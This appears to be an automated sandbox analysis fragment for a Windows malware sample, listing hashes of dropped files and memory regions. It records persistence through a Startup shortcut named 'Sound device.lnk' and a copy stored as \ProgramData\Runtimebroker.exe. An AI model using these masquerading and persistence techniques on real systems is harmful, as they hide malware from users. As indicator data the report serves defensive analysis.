      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
        MD5

        b6d38f250ccc9003dd70efd3b778117f

        SHA1

        d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

        SHA256

        4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

        SHA512

        67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        1ce46290dc9b330b4f2ebb62c6fb101f

        SHA1

        099576a6a29c085775050334825a39c2c54a2229

        SHA256

        c06426a8d0ff2103315ac77f8b6aae4f6aaae46255c4f676aa38853ecb4da139

        SHA512

        f2c90d2000785e7a31c7f2b2417f253c851d40b04119d60f46f5d5ca8524081fbb9121b6b032b8321fa7df3fa97bb5d5c0d0d43e5a08484b3cc5677e326fff9e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        c9e9ca626fb18f3182f0c7780c8532ca

        SHA1

        94c550b6d892517d2a912fc286118b29df8b83ab

        SHA256

        2f882462fc96d5c4c2c8b8e526e64ea9e253003164e0a0528bf65d119bca26bd

        SHA512

        9fee0e0e8d7fe7954f78a7c22291b5b5337086ff63d34a23ebd4d94d3649dc248549eecc9d99172ad729402ab3a530a5ffd86ea89ec8e89ba8a82ae628a883b6

      • C:\Users\Admin\AppData\Local\Temp\15F1.exe
        MD5

        a69e12607d01237460808fa1709e5e86

        SHA1

        4a12f82aee1c90e70cdf6be863ce1a749c8ae411

        SHA256

        188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

        SHA512

        7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

      • C:\Users\Admin\AppData\Local\Temp\1BEB.exe
        MD5

        e987477b0d14b6d7075f0105aa28ba92

        SHA1

        54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

        SHA256

        4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

        SHA512

        bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

      • C:\Users\Admin\AppData\Local\Temp\1BEB.exe
        MD5

        e987477b0d14b6d7075f0105aa28ba92

        SHA1

        54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

        SHA256

        4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

        SHA512

        bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

      • C:\Users\Admin\AppData\Local\Temp\1BEB.exe
        MD5

        e987477b0d14b6d7075f0105aa28ba92

        SHA1

        54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

        SHA256

        4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

        SHA512

        bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

      • C:\Users\Admin\AppData\Local\Temp\2712.exe
        MD5

        49f58a80993170b4351014d0b5068897

        SHA1

        7af2615ec10821cbefb55c602b270c27fa1d6806

        SHA256

        905f70426483e7dc4e4d2110cfa0f3a3bbac1ee16a74e287cd51cae0e0babd1c

        SHA512

        2ee7f30ee68bbc9da4f3858d1eb188be3fca547f63b36864181b86a70ea5d06f614fdb38b42a22aff24e8d4d720f814b6b103e52d5c01c399eefd28775f88ae2

      • C:\Users\Admin\AppData\Local\Temp\2C61.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • C:\Users\Admin\AppData\Local\Temp\2C61.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • C:\Users\Admin\AppData\Local\Temp\is-74GT4.tmp\1BEB.tmp
        MD5

        6da8ef761a1ac640f74c4509a3da8b47

        SHA1

        de626da008e5e8500388ec7827bcd1158f703d98

        SHA256

        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

        SHA512

        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

      • C:\Users\Admin\AppData\Local\Temp\is-8JJ9G.tmp\1BEB.tmp
        MD5

        6da8ef761a1ac640f74c4509a3da8b47

        SHA1

        de626da008e5e8500388ec7827bcd1158f703d98

        SHA256

        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

        SHA512

        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

      • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
        MD5

        cf8114289d40ec83b53463b1ac8930c9

        SHA1

        00036a509bc31c4264a0414d3386f420854ca047

        SHA256

        39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

        SHA512

        e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

      • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
        MD5

        96f1c8a9c83fbf6411f35d3de8fdc77c

        SHA1

        41b590133df449c8e0ce247aab7def7cfc39399d

        SHA256

        ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

        SHA512

        fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

      • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\menu.xml
        MD5

        0ad63807522a2fc76deff4eddbc77d35

        SHA1

        85ba4baf1b1a623bc8fe5ea9334088de8da390c7

        SHA256

        f04362f73243736c636a08982e1f3655ce5824f2e5b0e3e87acbd94d0a906b96

        SHA512

        5cacea66310d6f8fc41cc742d6570e389e9df0f9faec4af2c8d036635500bfcf605148ec0a6e8d54b64485abb8a3881f00e7c93bbe7ab35eec85f39c6c33dac9

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        MD5

        d30dbada3430d11bebc537c35acb9d6d

        SHA1

        407695c888122cfd2ed6815ceabfb3cb31c9619d

        SHA256

        95f06e193eaf8c4575f0bb21e670571a4a79a71b116f1974d5a57d99d8a08c5d

        SHA512

        e6899bcc31ca56bad9ce039d8f24e2d28fc91ae89d9e3910dc5b10a91317ac606d8310cfb46811db5b9afce12344c98eb5e5be2e0013def5f3f52f3ef6a90588

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        MD5

        d30dbada3430d11bebc537c35acb9d6d

        SHA1

        407695c888122cfd2ed6815ceabfb3cb31c9619d

        SHA256

        95f06e193eaf8c4575f0bb21e670571a4a79a71b116f1974d5a57d99d8a08c5d

        SHA512

        e6899bcc31ca56bad9ce039d8f24e2d28fc91ae89d9e3910dc5b10a91317ac606d8310cfb46811db5b9afce12344c98eb5e5be2e0013def5f3f52f3ef6a90588

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\BI Video Controller for x86 systems\BI Video Controller for x86 systems.lnk
        MD5

        a0c8d7762ba752847e194ada3ff39300

        SHA1

        858df20f33b7fe541d88eaa8299b571531bc0d9c

        SHA256

        e632d11e04f7ae6d1071fc2242063841040381443b7bfb4240dc7b3d29cfcf54

        SHA512

        92983d25cdd8ba196f88cde5a1b9bfcd971c545a4af81664ba0c37e3efb94cca9e37fd277885f81e50367f44a267bf4db7bca8e8044157cd713c424e0d43ee24

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk
        MD5

        063d20dd34accf243340d618d843556a

        SHA1

        cf438734bcbaadc9ba4cd8374c3121cd25ee7dcc

        SHA256

        7ddb7f4db4c1a68bbba30ca02c4114dbed2aab0d248b56b539c164cb0a87c4c9

        SHA512

        1480decd33e80d40b1d7fe214dc494190248fd0a80a09cdbde10d4a3574d81074fc5bdf599fa30c970c0b01ebae03fb8a480b5131f7bab77dd0b8bab1b7d6d3f

      • \ProgramData\Runtimebroker.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • \ProgramData\Runtimebroker.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • \ProgramData\Runtimebroker.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • \Users\Admin\AppData\Local\Temp\1BEB.exe
        MD5

        e987477b0d14b6d7075f0105aa28ba92

        SHA1

        54bb1ac38e517b3adf97ccb38b0d3a8ce71b1fab

        SHA256

        4fe326571995d0c02e822c70ad842f70b5f217c4a8dd4ed979f196b60711e00b

        SHA512

        bb6fc302409d60e918d130a48708bd83851b50bda20481436ab65d2091d061e61018617c542cfb8df090f79992ce9393fed2341bd1b8a38af4829a2f4383af68

      • \Users\Admin\AppData\Local\Temp\is-74GT4.tmp\1BEB.tmp
        MD5

        6da8ef761a1ac640f74c4509a3da8b47

        SHA1

        de626da008e5e8500388ec7827bcd1158f703d98

        SHA256

        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

        SHA512

        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

      • \Users\Admin\AppData\Local\Temp\is-8JJ9G.tmp\1BEB.tmp
        MD5

        6da8ef761a1ac640f74c4509a3da8b47

        SHA1

        de626da008e5e8500388ec7827bcd1158f703d98

        SHA256

        232fb3aecf0becf95a9d8e820939fb1043a3401d9fd953da7ba13cbab0086ff5

        SHA512

        c9e8c6ae521dbd7e92af06e8a3581835058667ff6b502aa55ff4993c1b639e896c8f3ab6e0ca105e5635a66a40d92b4db96512e2ed337268b76ed611155e2402

      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
        MD5

        cf8114289d40ec83b53463b1ac8930c9

        SHA1

        00036a509bc31c4264a0414d3386f420854ca047

        SHA256

        39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

        SHA512

        e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
        MD5

        cf8114289d40ec83b53463b1ac8930c9

        SHA1

        00036a509bc31c4264a0414d3386f420854ca047

        SHA256

        39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

        SHA512

        e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

      • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
        MD5

        96f1c8a9c83fbf6411f35d3de8fdc77c

        SHA1

        41b590133df449c8e0ce247aab7def7cfc39399d

        SHA256

        ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

        SHA512

        fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

      • memory/432-88-0x0000000000400000-0x00000000004D8000-memory.dmp
        Filesize

        864KB

      • memory/432-80-0x0000000000000000-mapping.dmp
      • memory/752-64-0x0000000000000000-mapping.dmp
      • memory/860-89-0x0000000000240000-0x0000000000241000-memory.dmp
        Filesize

        4KB

      • memory/860-85-0x0000000000000000-mapping.dmp
      • memory/860-92-0x00000000748D1000-0x00000000748D3000-memory.dmp
        Filesize

        8KB

      • memory/904-107-0x0000000000400000-0x0000000002C84000-memory.dmp
        Filesize

        40.5MB

      • memory/904-102-0x0000000000220000-0x000000000025B000-memory.dmp
        Filesize

        236KB

      • memory/904-97-0x0000000000000000-mapping.dmp
      • memory/920-68-0x0000000000000000-mapping.dmp
      • memory/920-73-0x0000000000400000-0x00000000004D8000-memory.dmp
        Filesize

        864KB

      • memory/948-111-0x0000000000000000-mapping.dmp
      • memory/1228-63-0x0000000002B70000-0x0000000002B86000-memory.dmp
        Filesize

        88KB

      • memory/1284-118-0x0000000000400000-0x0000000002C84000-memory.dmp
        Filesize

        40.5MB

      • memory/1284-106-0x0000000000000000-mapping.dmp
      • memory/1524-75-0x0000000000000000-mapping.dmp
      • memory/1524-78-0x00000000001D0000-0x00000000001D1000-memory.dmp
        Filesize

        4KB

      • memory/1560-90-0x0000000000000000-mapping.dmp
      • memory/1560-95-0x0000000000C00000-0x0000000000C01000-memory.dmp
        Filesize

        4KB

      • memory/1560-101-0x0000000005030000-0x0000000005031000-memory.dmp
        Filesize

        4KB

      • memory/1564-163-0x00000000057C0000-0x00000000057C1000-memory.dmp
        Filesize

        4KB

      • memory/1564-155-0x0000000002AD0000-0x0000000002AD1000-memory.dmp
        Filesize

        4KB

      • memory/1564-146-0x0000000000000000-mapping.dmp
      • memory/1564-150-0x0000000004D40000-0x0000000004D41000-memory.dmp
        Filesize

        4KB

      • memory/1564-152-0x0000000004D42000-0x0000000004D43000-memory.dmp
        Filesize

        4KB

      • memory/1564-151-0x0000000004D80000-0x0000000004D81000-memory.dmp
        Filesize

        4KB

      • memory/1564-149-0x0000000002410000-0x0000000002411000-memory.dmp
        Filesize

        4KB

      • memory/1564-153-0x0000000002710000-0x0000000002711000-memory.dmp
        Filesize

        4KB

      • memory/1564-164-0x00000000066D0000-0x000000000682B000-memory.dmp
        Filesize

        1.4MB

      • memory/1800-194-0x0000000000000000-mapping.dmp
      • memory/1828-117-0x0000000000000000-mapping.dmp
      • memory/1856-62-0x0000000000230000-0x000000000023A000-memory.dmp
        Filesize

        40KB

      • memory/1992-133-0x000000007EF30000-0x000000007EF31000-memory.dmp
        Filesize

        4KB

      • memory/1992-130-0x0000000006020000-0x0000000006021000-memory.dmp
        Filesize

        4KB

      • memory/1992-127-0x0000000004920000-0x0000000004921000-memory.dmp
        Filesize

        4KB

      • memory/1992-126-0x00000000024D0000-0x00000000024D1000-memory.dmp
        Filesize

        4KB

      • memory/1992-124-0x0000000004990000-0x0000000004991000-memory.dmp
        Filesize

        4KB

      • memory/1992-125-0x0000000004992000-0x0000000004993000-memory.dmp
        Filesize

        4KB

      • memory/1992-123-0x00000000049D0000-0x00000000049D1000-memory.dmp
        Filesize

        4KB

      • memory/1992-122-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Filesize

        4KB

      • memory/1992-120-0x0000000000000000-mapping.dmp
      • memory/1992-137-0x0000000006140000-0x0000000006141000-memory.dmp
        Filesize

        4KB

      • memory/1992-136-0x0000000006080000-0x0000000006081000-memory.dmp
        Filesize

        4KB

      • memory/1992-144-0x0000000006280000-0x0000000006281000-memory.dmp
        Filesize

        4KB

      • memory/2000-173-0x00000000049D2000-0x00000000049D3000-memory.dmp
        Filesize

        4KB

      • memory/2000-172-0x00000000049D0000-0x00000000049D1000-memory.dmp
        Filesize

        4KB

      • memory/2000-165-0x0000000000000000-mapping.dmp
      • memory/2000-177-0x0000000006120000-0x0000000006121000-memory.dmp
        Filesize

        4KB

      • memory/2000-180-0x0000000006180000-0x0000000006181000-memory.dmp
        Filesize

        4KB

      • memory/2000-192-0x0000000006260000-0x0000000006261000-memory.dmp
        Filesize

        4KB

      • memory/2000-193-0x0000000006270000-0x0000000006271000-memory.dmp
        Filesize

        4KB

      • memory/2012-61-0x0000000075FE1000-0x0000000075FE3000-memory.dmp
        Filesize

        8KB

      • memory/2012-59-0x0000000000400000-0x0000000000409000-memory.dmp
        Filesize

        36KB

      • memory/2012-60-0x0000000000402E1A-mapping.dmp